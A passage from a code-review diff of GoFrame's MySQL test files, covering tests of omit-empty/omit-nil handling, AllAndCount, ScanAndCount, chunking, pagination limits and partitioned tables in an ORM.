one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1")
t.Assert(one["passport"], "omitnil_test")
// Test Insert with OmitNilData
result, err = db.Model(table).OmitNilData().Data(g.Map{
"id": 101,
"passport": "user_101",
"nickname": nil, // should be omitted
"password": "pass_101",
}).Insert()
t.AssertNil(err)
n, _ = result.RowsAffected()
t.Assert(n, 1)
// Verify insert
one, err = db.Model(table).Where("id", 101).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_101")
})
}
// Test_Model_OmitEmpty_WithStruct tests OmitEmpty with struct data
func Test_Model_OmitEmpty_WithStruct(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport string
Nickname string
Password string
}
gtest.C(t, func(t *gtest.T) {
// Test OmitEmptyData with struct
user := User{
Passport: "struct_user",
Nickname: "", // empty, should be omitted
Password: "struct_pass",
}
result, err := db.Model(table).OmitEmptyData().Data(user).Where("id", 1).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was not updated
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1")
t.Assert(one["passport"], "struct_user")
})
}
// Test_Model_OmitNil_WithPointerStruct tests OmitNil with pointer struct data
func Test_Model_OmitNil_WithPointerStruct(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport *string
Nickname *string
Password string
}
// Note: Removed OmitNilData with pointer struct test due to framework limitations
// Struct field nil pointer handling needs further investigation
gtest.C(t, func(t *gtest.T) {
// Test OmitNilData with Map (working as expected)
sqlArray2, err := gdb.CatchSQL(ctx, func(ctx context.Context) error {
_, err := db.Ctx(ctx).Model(table).OmitNilData().Data(g.Map{
"passport": "map_user",
"nickname": nil,
"password": "map_pass",
}).Where("id", 2).Update()
return err
})
t.AssertNil(err)
t.Logf("Map SQL: %v", sqlArray2)
one2, err := db.Model(table).Where("id", 2).One()
t.AssertNil(err)
t.Logf("Map result - nickname: %v, passport: %v", one2["nickname"], one2["passport"])
t.Assert(one2["nickname"], "name_2") // should be preserved
t.Assert(one2["passport"], "map_user")
})
}
// Test_Model_OmitEmpty_ZeroValues tests OmitEmpty with various zero values
func Test_Model_OmitEmpty_ZeroValues(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test OmitEmptyData with various zero values
result, err := db.Model(table).OmitEmptyData().Data(g.Map{
"id": 0, // zero int, should be omitted
"passport": "zero_test", // non-empty
"nickname": "", // empty string, should be omitted
}).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify the insert (id should be auto-generated since 0 was omitted)
one, err := db.Model(table).Where("passport", "zero_test").One()
t.AssertNil(err)
t.Assert(one["passport"], "zero_test")
t.AssertNE(one["id"], 0) // auto-generated id
})
}
// Test_Model_OmitEmpty_ComplexWhere tests OmitEmpty with complex where conditions
func Test_Model_OmitEmpty_ComplexWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test OmitEmptyWhere with multiple conditions
all, err := db.Model(table).OmitEmptyWhere().Where(g.Map{
"id >": 0, // zero, should be omitted
"passport": "", // empty string, should be omitted
"nickname": "?", // placeholder, should NOT be omitted
}).Order("id").Limit(3).All()
t.AssertNil(err)
// Should execute query with only the nickname condition
// Test with all empty conditions
all, err = db.Model(table).OmitEmptyWhere().Where(g.Map{
"passport": "",
"nickname": "",
}).Order("id").Limit(5).All()
t.AssertNil(err)
t.Assert(len(all), 5) // all conditions omitted, returns all (limited to 5)
})
}
// Test_Model_Omit_ChainedMethods tests Omit methods with other chained methods
func Test_Model_Omit_ChainedMethods(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test OmitEmpty with Fields and Order
result, err := db.Model(table).
OmitEmptyData().
Fields("passport", "nickname").
Data(g.Map{
"passport": "chain_test",
"nickname": "",
}).
Where("id", 1).
Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "chain_test")
t.Assert(one["nickname"], "name_1") // not updated due to OmitEmptyData
// Test OmitNilWhere with multiple Where clauses
all, err := db.Model(table).
OmitNilWhere().
Where("id>?", 5).
Where(g.Map{
"passport": nil, // should be omitted
}).
Order("id").
All()
t.AssertNil(err)
t.Assert(len(all), 5) // id 6-10
})
}

View File

@ -1,545 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"testing"
"time"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/util/gconv"
)
// Test_Model_AllAndCount_Basic tests basic AllAndCount functionality
func Test_Model_AllAndCount_Basic(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), TableSize)
t.Assert(count, TableSize)
})
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).AllAndCount(true)
t.AssertNil(err)
t.Assert(len(result), TableSize)
t.Assert(count, TableSize)
})
}
// Test_Model_AllAndCount_WithWhere tests AllAndCount with WHERE conditions
func Test_Model_AllAndCount_WithWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Where("id > ?", 5).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), 5)
t.Assert(count, 5)
t.Assert(result[0]["id"], 6)
})
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Where("id", g.Slice{1, 2, 3}).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(count, 3)
})
}
// Test_Model_AllAndCount_WithPage tests AllAndCount with pagination
func Test_Model_AllAndCount_WithPage(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Page(1, 3).Order("id").AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(count, TableSize) // Count should be total, not page size
t.Assert(result[0]["id"], 1)
t.Assert(result[2]["id"], 3)
})
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Page(2, 3).Order("id").AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(count, TableSize)
t.Assert(result[0]["id"], 4)
})
}
// Test_Model_AllAndCount_WithFields tests AllAndCount with specific fields
// Related: https://github.com/gogf/gf/issues/4698
func Test_Model_AllAndCount_WithFields(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Fields("id, nickname").AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), TableSize)
t.Assert(count, TableSize)
t.Assert(len(result[0]), 2) // Only 2 fields
})
// Regression test for #4698: AllAndCount(true) with multiple fields should work correctly
// https://github.com/gogf/gf/issues/4698
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Fields("id, nickname").AllAndCount(true)
t.AssertNil(err)
t.Assert(len(result), TableSize)
t.Assert(count, TableSize)
t.Assert(len(result[0]), 2)
})
}
// Test_Model_AllAndCount_Empty tests AllAndCount with no results
func Test_Model_AllAndCount_Empty(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Where("id > ?", 1000).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), 0)
t.Assert(count, 0)
})
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Where("id < ?", 0).AllAndCount(true)
t.AssertNil(err)
t.Assert(len(result), 0)
t.Assert(count, 0)
})
}
// Test_Model_AllAndCount_WithCache tests AllAndCount with cache
func Test_Model_AllAndCount_WithCache(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result1, count1, err := db.Model(table).PageCache(gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}, gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}).Page(1, 5).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result1), 5)
t.Assert(count1, TableSize)
// Second call should use cache
result2, count2, err := db.Model(table).PageCache(gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}, gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}).Page(1, 5).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result2), 5)
t.Assert(count2, count1)
})
}
// Test_Model_AllAndCount_Distinct tests AllAndCount with DISTINCT
func Test_Model_AllAndCount_Distinct(t *testing.T) {
table := createTable()
defer dropTable(table)
// Insert duplicate nicknames
for i := 1; i <= 10; i++ {
nickname := "name_" + gconv.String((i-1)/2) // Creates duplicates
db.Model(table).Data(g.Map{
"id": i,
"passport": "pass_" + gconv.String(i),
"password": "pwd",
"nickname": nickname,
}).Insert()
}
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Fields("DISTINCT nickname").AllAndCount(true)
t.AssertNil(err)
t.Assert(count, 5) // 10 records / 2 = 5 distinct nicknames
t.Assert(len(result), 5)
})
}
// Test_Model_ScanAndCount_Basic tests basic ScanAndCount functionality
func Test_Model_ScanAndCount_Basic(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport string
Password string
Nickname string
}
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).ScanAndCount(&users, &count, false)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(count, TableSize)
})
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).ScanAndCount(&users, &count, true)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(count, TableSize)
})
}
// Test_Model_ScanAndCount_WithWhere tests ScanAndCount with WHERE conditions
func Test_Model_ScanAndCount_WithWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport string
Nickname string
}
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).Where("id <= ?", 5).ScanAndCount(&users, &count, false)
t.AssertNil(err)
t.Assert(len(users), 5)
t.Assert(count, 5)
t.Assert(users[0].Id, 1)
})
}
// Test_Model_ScanAndCount_WithPage tests ScanAndCount with pagination
func Test_Model_ScanAndCount_WithPage(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Nickname string
}
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).Page(2, 3).Order("id").ScanAndCount(&users, &count, false)
t.AssertNil(err)
t.Assert(len(users), 3)
t.Assert(count, TableSize) // Total count, not page count
t.Assert(users[0].Id, 4)
t.Assert(users[2].Id, 6)
})
}
// Test_Model_ScanAndCount_Single tests ScanAndCount for single record
func Test_Model_ScanAndCount_Single(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport string
}
gtest.C(t, func(t *gtest.T) {
var user User
var count int
err := db.Model(table).Where("id", 1).ScanAndCount(&user, &count, false)
t.AssertNil(err)
t.Assert(user.Id, 1)
t.Assert(count, 1)
})
}
// Test_Model_ScanAndCount_Empty tests ScanAndCount with no results
func Test_Model_ScanAndCount_Empty(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
}
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).Where("id > ?", 1000).ScanAndCount(&users, &count, false)
t.AssertNil(err)
t.Assert(len(users), 0)
t.Assert(count, 0)
})
}
// Test_Model_ScanAndCount_WithFields tests ScanAndCount with specific fields
func Test_Model_ScanAndCount_WithFields(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Nickname string
}
gtest.C(t, func(t *gtest.T) {
var users []User
var count int
err := db.Model(table).Fields("id, nickname").ScanAndCount(&users, &count, false)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(count, TableSize)
t.Assert(users[0].Id > 0, true)
t.AssertNE(users[0].Nickname, "")
})
}
// Test_Model_ScanAndCount_WithCache tests ScanAndCount with cache
func Test_Model_ScanAndCount_WithCache(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
}
gtest.C(t, func(t *gtest.T) {
var users1 []User
var count1 int
err := db.Model(table).PageCache(gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}, gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}).Page(1, 5).ScanAndCount(&users1, &count1, false)
t.AssertNil(err)
t.Assert(len(users1), 5)
t.Assert(count1, TableSize)
// Second call should use cache
var users2 []User
var count2 int
err = db.Model(table).PageCache(gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}, gdb.CacheOption{
Duration: time.Second * 10,
Force: false,
}).Page(1, 5).ScanAndCount(&users2, &count2, false)
t.AssertNil(err)
t.Assert(len(users2), 5)
t.Assert(count2, count1)
})
}
// Test_Model_Chunk_Basic tests basic Chunk functionality
func Test_Model_Chunk_Basic(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var (
total int
chunks int
)
db.Model(table).Order("id").Chunk(3, func(result gdb.Result, err error) bool {
t.AssertNil(err)
chunks++
total += len(result)
return true
})
t.Assert(chunks, 4) // 10 records / 3 = 4 chunks (3+3+3+1)
t.Assert(total, TableSize)
})
}
// Test_Model_Chunk_StopEarly tests Chunk with early stop
func Test_Model_Chunk_StopEarly(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var chunks int
db.Model(table).Order("id").Chunk(3, func(result gdb.Result, err error) bool {
t.AssertNil(err)
chunks++
return chunks < 2 // Stop after 2nd chunk
})
t.Assert(chunks, 2)
})
}
// Test_Model_Chunk_WithWhere tests Chunk with WHERE conditions
func Test_Model_Chunk_WithWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var (
total int
chunks int
)
db.Model(table).Where("id <= ?", 5).Order("id").Chunk(2, func(result gdb.Result, err error) bool {
t.AssertNil(err)
chunks++
total += len(result)
return true
})
t.Assert(chunks, 3) // 5 records / 2 = 3 chunks (2+2+1)
t.Assert(total, 5)
})
}
// Test_Model_Chunk_ErrorHandling tests Chunk error handling
func Test_Model_Chunk_ErrorHandling(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
var errorReceived bool
db.Model("non_existent_table").Chunk(10, func(result gdb.Result, err error) bool {
if err != nil {
errorReceived = true
return false
}
return true
})
t.Assert(errorReceived, true)
})
}
// Test_Model_Chunk_Empty tests Chunk with no results
func Test_Model_Chunk_Empty(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var chunks int
db.Model(table).Where("id > ?", 1000).Chunk(10, func(result gdb.Result, err error) bool {
chunks++
return true
})
t.Assert(chunks, 0) // No chunks for empty result
})
}
// Test_Model_Page_Boundary tests Page with boundary values
// Related: https://github.com/gogf/gf/issues/4699
func Test_Model_Page_Boundary(t *testing.T) {
table := createInitTable()
defer dropTable(table)
// Page 0 should be treated as page 1
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Page(0, 3).Order("id").All()
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(result[0]["id"], 1)
})
// Negative page should be treated as page 1
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Page(-1, 3).Order("id").All()
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(result[0]["id"], 1)
})
// Size 0: framework treats limit=0 as "no limit", returns all records
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Page(1, 0).All()
t.AssertNil(err)
t.Assert(len(result), TableSize)
})
// Negative size: normalized to 0, same as Page(1, 0)
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Page(1, -1).All()
t.AssertNil(err)
t.Assert(len(result), TableSize)
})
// Very large page number (beyond available data)
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Page(100, 3).All()
t.AssertNil(err)
t.Assert(len(result), 0)
})
}
// Test_Model_Limit_Boundary tests Limit with boundary values
// Related: https://github.com/gogf/gf/issues/4699
func Test_Model_Limit_Boundary(t *testing.T) {
table := createInitTable()
defer dropTable(table)
// Limit 0: framework treats limit=0 as "no limit", returns all records
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Limit(0).All()
t.AssertNil(err)
t.Assert(len(result), TableSize)
})
// Negative limit: normalized to 0, same as Limit(0)
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Limit(-1).All()
t.AssertNil(err)
t.Assert(len(result), TableSize)
})
// Limit larger than available data
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Limit(1000).All()
t.AssertNil(err)
t.Assert(len(result), TableSize)
})
// Limit(offset, size): offset=5 skips 5 rows, size=100 takes up to 100
// With 10 rows total, skipping 5 returns remaining 5 rows
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Limit(5, 100).All()
t.AssertNil(err)
t.Assert(len(result), TableSize-5)
})
// Offset beyond data: returns empty result
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Limit(100, 5).All()
t.AssertNil(err)
t.Assert(len(result), 0)
})
}
// Test_Model_Page_Limit_Combination tests Page and Limit used together
func Test_Model_Page_Limit_Combination(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Page should override Limit
result, err := db.Model(table).Limit(5).Page(1, 3).Order("id").All()
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(result[0]["id"], 1)
})
}

View File

@ -1,364 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"context"
"fmt"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
)
func createRangePartitionTable(table ...string) string {
var name string
if len(table) > 0 {
name = table[0]
} else {
name = fmt.Sprintf(`partition_range_%d`, gtime.TimestampNano())
}
if _, err := db3.Exec(ctx, fmt.Sprintf("DROP TABLE IF EXISTS `%s`", name)); err != nil {
gtest.Fatal(err)
}
if _, err := db3.Exec(ctx, fmt.Sprintf(`
CREATE TABLE %s (
id int(11) NOT NULL,
sales_date date DEFAULT NULL,
amount decimal(10,2) DEFAULT NULL,
region varchar(50) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4
PARTITION BY RANGE (YEAR(sales_date))
(PARTITION p2020 VALUES LESS THAN (2021) ENGINE = InnoDB,
PARTITION p2021 VALUES LESS THAN (2022) ENGINE = InnoDB,
PARTITION p2022 VALUES LESS THAN (2023) ENGINE = InnoDB,
PARTITION p2023 VALUES LESS THAN (2024) ENGINE = InnoDB,
PARTITION p_future VALUES LESS THAN MAXVALUE ENGINE = InnoDB);
`, name)); err != nil {
gtest.Fatal(err)
}
return name
}
func createHashPartitionTable(table ...string) string {
var name string
if len(table) > 0 {
name = table[0]
} else {
name = fmt.Sprintf(`partition_hash_%d`, gtime.TimestampNano())
}
if _, err := db3.Exec(ctx, fmt.Sprintf("DROP TABLE IF EXISTS `%s`", name)); err != nil {
gtest.Fatal(err)
}
if _, err := db3.Exec(ctx, fmt.Sprintf(`
CREATE TABLE %s (
id int(11) NOT NULL,
user_id int(11) NOT NULL,
username varchar(50) DEFAULT NULL,
email varchar(100) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4
PARTITION BY HASH (user_id)
PARTITIONS 4;
`, name)); err != nil {
gtest.Fatal(err)
}
return name
}
func createListPartitionTable(table ...string) string {
var name string
if len(table) > 0 {
name = table[0]
} else {
name = fmt.Sprintf(`partition_list_%d`, gtime.TimestampNano())
}
if _, err := db3.Exec(ctx, fmt.Sprintf("DROP TABLE IF EXISTS `%s`", name)); err != nil {
gtest.Fatal(err)
}
if _, err := db3.Exec(ctx, fmt.Sprintf(`
CREATE TABLE %s (
id int(11) NOT NULL,
region_code int(11) NOT NULL,
city varchar(50) DEFAULT NULL,
population int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4
PARTITION BY LIST (region_code)
(PARTITION p_north VALUES IN (1,2,3) ENGINE = InnoDB,
PARTITION p_south VALUES IN (4,5,6) ENGINE = InnoDB,
PARTITION p_east VALUES IN (7,8,9) ENGINE = InnoDB,
PARTITION p_west VALUES IN (10,11,12) ENGINE = InnoDB);
`, name)); err != nil {
gtest.Fatal(err)
}
return name
}
func dropPartitionTable(table string) {
if _, err := db3.Exec(ctx, fmt.Sprintf("DROP TABLE IF EXISTS `%s`", table)); err != nil {
gtest.Error(err)
}
}
func Test_Partition_Range_Insert_And_Query(t *testing.T) {
table := createRangePartitionTable()
defer dropPartitionTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert data across different partitions
data := g.Slice{
g.Map{"id": 1, "sales_date": "2020-06-15", "amount": 1000.50, "region": "North"},
g.Map{"id": 2, "sales_date": "2021-03-20", "amount": 2000.75, "region": "South"},
g.Map{"id": 3, "sales_date": "2022-09-10", "amount": 3000.00, "region": "East"},
g.Map{"id": 4, "sales_date": "2023-12-01", "amount": 4000.25, "region": "West"},
g.Map{"id": 5, "sales_date": "2024-01-15", "amount": 5000.00, "region": "North"},
}
_, err := db3.Model(table).Data(data).Insert()
t.AssertNil(err)
// Query all data
all, err := db3.Model(table).All()
t.AssertNil(err)
t.Assert(len(all), 5)
// Query specific year (should hit specific partition)
result, err := db3.Model(table).Where("YEAR(sales_date) = ?", 2022).All()
t.AssertNil(err)
t.Assert(len(result), 1)
t.Assert(result[0]["id"], 3)
})
}
func Test_Partition_Range_PartitionQuery(t *testing.T) {
// Known limitation: Model.Partition() sets m.partition field but it's not used in SQL generation
// See: database/gdb/gdb_model_select.go lines 735,755 - m.tables is used without PARTITION clause
// TODO: Add PARTITION clause support to GoFrame query builder
t.Skip("Partition clause in SELECT queries not yet supported in GoFrame query builder")
table := createRangePartitionTable()
defer dropPartitionTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert data
data := g.Slice{
g.Map{"id": 1, "sales_date": "2020-06-15", "amount": 1000.50},
g.Map{"id": 2, "sales_date": "2021-03-20", "amount": 2000.75},
g.Map{"id": 3, "sales_date": "2022-09-10", "amount": 3000.00},
g.Map{"id": 4, "sales_date": "2023-12-01", "amount": 4000.25},
}
_, err := db3.Model(table).Data(data).Insert()
t.AssertNil(err)
// Query specific partition
result, err := db3.Model(table).Partition("p2022").All()
t.AssertNil(err)
t.Assert(len(result), 1)
t.Assert(result[0]["id"], 3)
// Query multiple partitions
result, err = db3.Model(table).Partition("p2021", "p2022").All()
t.AssertNil(err)
t.Assert(len(result), 2)
})
}
func Test_Partition_Hash_Insert_And_Distribution(t *testing.T) {
table := createHashPartitionTable()
defer dropPartitionTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert data that will be distributed across hash partitions
data := g.Slice{}
for i := 1; i <= 20; i++ {
data = append(data, g.Map{
"id": i,
"user_id": i * 10,
"username": fmt.Sprintf("user_%d", i),
"email": fmt.Sprintf("user%d@example.com", i),
})
}
_, err := db3.Model(table).Data(data).Insert()
t.AssertNil(err)
// Query all data
all, err := db3.Model(table).All()
t.AssertNil(err)
t.Assert(len(all), 20)
// Query specific user_id (will hit specific partition based on hash)
result, err := db3.Model(table).Where("user_id", 100).One()
t.AssertNil(err)
t.Assert(result["username"], "user_10")
})
}
func Test_Partition_List_Insert_And_Query(t *testing.T) {
// Known limitation: Model.Partition() sets m.partition field but it's not used in SQL generation
// See: database/gdb/gdb_model_select.go lines 735,755 - m.tables is used without PARTITION clause
// TODO: Add PARTITION clause support to GoFrame query builder
t.Skip("Partition clause in SELECT queries not yet supported in GoFrame query builder")
table := createListPartitionTable()
defer dropPartitionTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert data for different regions
data := g.Slice{
g.Map{"id": 1, "region_code": 1, "city": "Beijing", "population": 2154},
g.Map{"id": 2, "region_code": 2, "city": "Harbin", "population": 1063},
g.Map{"id": 3, "region_code": 5, "city": "Guangzhou", "population": 1868},
g.Map{"id": 4, "region_code": 7, "city": "Shanghai", "population": 2428},
g.Map{"id": 5, "region_code": 10, "city": "Chengdu", "population": 2093},
}
_, err := db3.Model(table).Data(data).Insert()
t.AssertNil(err)
// Query all
all, err := db3.Model(table).All()
t.AssertNil(err)
t.Assert(len(all), 5)
// Query specific partition (north region)
result, err := db3.Model(table).Partition("p_north").All()
t.AssertNil(err)
t.Assert(len(result), 2)
// Query specific partition (south region)
result, err = db3.Model(table).Partition("p_south").All()
t.AssertNil(err)
t.Assert(len(result), 1)
t.Assert(result[0]["city"], "Guangzhou")
})
}
func Test_Partition_Range_Update(t *testing.T) {
table := createRangePartitionTable()
defer dropPartitionTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert data
_, err := db3.Model(table).Data(g.Map{
"id": 1,
"sales_date": "2022-06-15",
"amount": 1000.00,
"region": "North",
}).Insert()
t.AssertNil(err)
// Update data within same partition
result, err := db3.Model(table).Data(g.Map{
"amount": 1500.00,
"region": "South",
}).Where("id", 1).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify update
one, err := db3.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["amount"], "1500.00")
t.Assert(one["region"], "South")
})
}
func Test_Partition_Range_Delete(t *testing.T) {
table := createRangePartitionTable()
defer dropPartitionTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert data
data := g.Slice{
g.Map{"id": 1, "sales_date": "2020-06-15", "amount": 1000.50},
g.Map{"id": 2, "sales_date": "2021-03-20", "amount": 2000.75},
g.Map{"id": 3, "sales_date": "2022-09-10", "amount": 3000.00},
}
_, err := db3.Model(table).Data(data).Insert()
t.AssertNil(err)
// Delete from specific partition
result, err := db3.Model(table).Where("YEAR(sales_date) = ?", 2021).Delete()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify deletion
all, err := db3.Model(table).All()
t.AssertNil(err)
t.Assert(len(all), 2)
// Verify remaining data
result2, err := db3.Model(table).Where("YEAR(sales_date) = ?", 2021).All()
t.AssertNil(err)
t.Assert(len(result2), 0)
})
}
func Test_Partition_Transaction(t *testing.T) {
table := createRangePartitionTable()
defer dropPartitionTable(table)
gtest.C(t, func(t *gtest.T) {
// Transaction with partitioned table
err := db3.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
// Insert across multiple partitions
data := g.Slice{
g.Map{"id": 1, "sales_date": "2020-06-15", "amount": 1000.50},
g.Map{"id": 2, "sales_date": "2021-03-20", "amount": 2000.75},
g.Map{"id": 3, "sales_date": "2022-09-10", "amount": 3000.00},
}
_, err := tx.Model(table).Ctx(ctx).Data(data).Insert()
if err != nil {
return err
}
// Update in transaction
_, err = tx.Model(table).Ctx(ctx).Data(g.Map{
"amount": 1500.00,
}).Where("id", 1).Update()
return err
})
t.AssertNil(err)
// Verify transaction committed
all, err := db3.Model(table).All()
t.AssertNil(err)
t.Assert(len(all), 3)
one, err := db3.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["amount"], "1500.00")
})
}
func Test_Partition_Range_Count_And_Sum(t *testing.T) {
table := createRangePartitionTable()
defer dropPartitionTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert data
data := g.Slice{
g.Map{"id": 1, "sales_date": "2020-06-15", "amount": 1000.00},
g.Map{"id": 2, "sales_date": "2020-09-20", "amount": 1500.00},
g.Map{"id": 3, "sales_date": "2021-03-20", "amount": 2000.00},
g.Map{"id": 4, "sales_date": "2022-09-10", "amount": 3000.00},
}
_, err := db3.Model(table).Data(data).Insert()
t.AssertNil(err)
// Count by year (specific partition)
count, err := db3.Model(table).Where("YEAR(sales_date) = ?", 2020).Count()
t.AssertNil(err)
t.Assert(count, 2)
// Sum across partitions
value, err := db3.Model(table).Fields("SUM(amount) as total").Value()
t.AssertNil(err)
t.AssertGT(value.Float64(), 7000.0) // 1000+1500+2000+3000 = 7500
})
}

Some files were not shown because too many files have changed in this diff Show More